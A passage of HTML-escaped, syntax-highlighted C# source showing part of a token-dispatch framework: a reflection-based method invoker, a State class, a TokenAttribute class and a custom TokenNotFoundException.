class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;140&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;141&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Invoke&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;instance&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;142&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;143&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;144&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;145&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;146&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenNotFoundException&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Format&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Token {0} not found. Cannot execute.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;147&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;148&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;149&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;150&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;151&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerable&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetTokens&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;152&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;153&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KeyValuePair&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;entry&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;availableFunctions&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;154&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;155&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;yield&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;entry&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;156&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;157&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;158&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;159&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;160&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;State&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;161&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;162&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;163&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;164&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_text&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;165&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;166&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;167&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;168&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;169&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Text&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;170&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;171&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;172&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_text&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;173&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;174&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;175&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetStateFromString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;176&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;177&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// implement parsing of string to build State object here.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;178&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;179&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;180&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;181&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;182&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;    [AttributeUsage(AttributeTargets.Method)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;183&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;TokenAttribute&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Attribute&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;184&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;185&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenAttribute&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;186&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;187&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_tokenName&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;188&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;189&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;190&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;191&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;192&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenName&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;193&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;194&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;195&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenName&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;196&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;197&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;198&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;199&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;    [global::System.Serializable]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;200&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;TokenNotFoundException&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;201&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;202&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;//&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;203&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// For guidelines regarding the creation of new exception types, see&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;204&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpgenref/html/cpconerrorraisinghandlingguidelines.asp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;205&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// and&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;206&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncscol/html/csharp07192001.asp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;207&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;//&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;208&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenNotFoundException&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;209&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenNotFoundException&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;base&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;210&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenNotFoundException&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;inner&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;base&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;inner&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;211&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;protected&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenNotFoundException&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;212&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Runtime&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Serialization&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SerializationInfo&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;info&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;213&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span 